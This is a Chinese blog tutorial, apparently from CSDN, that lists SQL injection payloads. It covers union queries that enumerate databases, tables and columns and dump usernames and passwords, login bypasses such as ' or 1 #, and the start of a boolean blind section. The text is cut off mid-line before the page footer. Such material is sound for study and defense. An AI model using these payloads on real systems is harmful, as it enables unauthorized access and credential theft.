网络安全攻防——SQL注入

0、常用查询

数据库名

# 查询所有数据库
?id=0' union select 1, group_concat(schema_name),3 from information_schema.schemata %23

表名

# 查询某一个数据库的所有表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where 
table_schema='数据库名' %23

# 用limit 来一个一个找
?id=-3' union select 1,1,table_name from information_schema.tables where table_schema=database() limit 0,1 %23

# 直接用group_concat来找出所有表名,查询当前数据库
?id=-3' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

表结构

?id=-3' union select 1,1,group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.Columns where table_schema=database() and table_name='表名'  %23

某些情况下把表名字符串(不包括引号)通过转换成0x16进制,去掉单引号,前加0x

数据全查询

?id=0' union select 1,group_concat(username),group_concat(password) from users %23

1、or+limit全局查询

or 1 可以与任何形式组合成真。在查询中,用如下的语句来进行全局查找,可以一行一行的输入表中的内容

?id=1' or 1 limit 0,1 %23

在post登录情景下,如果知道用户名admin,则可以用admin'# 来闭合,当不知道用户名时,可以使用任何形式拼接or 1的方法实现闭合d' or 1 # ,也可以实现查询d' or 1 limit 0,1 #

2、联合查询基础

union之后是查询语句,查询的条数与数据库表的结构一致,所以需要通过order by准确判断出表有几栏。

  • 当查到的内容会显示在页面的占位符中时,union之前取假值,可以用负数或者and 1=2在登录情境下,可以用不正确的用户名,需要判断出每一栏在页面中显示的位置。
  • 假如页面中我们查询的内容并不是显示占位中,那显示结果可能隐藏在页面中没有显示出来,如当输入错误时候,页面才会显示出错误提示,这时我们需要让union前面的条件为真。

特别注意: 当查询字段是sql关键字时需要用单引号包裹。

3、bool盲注与爆破

问题:正确显示就显示固定字符,不正确不显示。

解决: 可以通过显示不显示来判断是否是正确的

查询数据库名

# 判断数据库名的长度=8,通过<9显示信息,<8不显示信息
?i
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

孤旅青山迷情人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值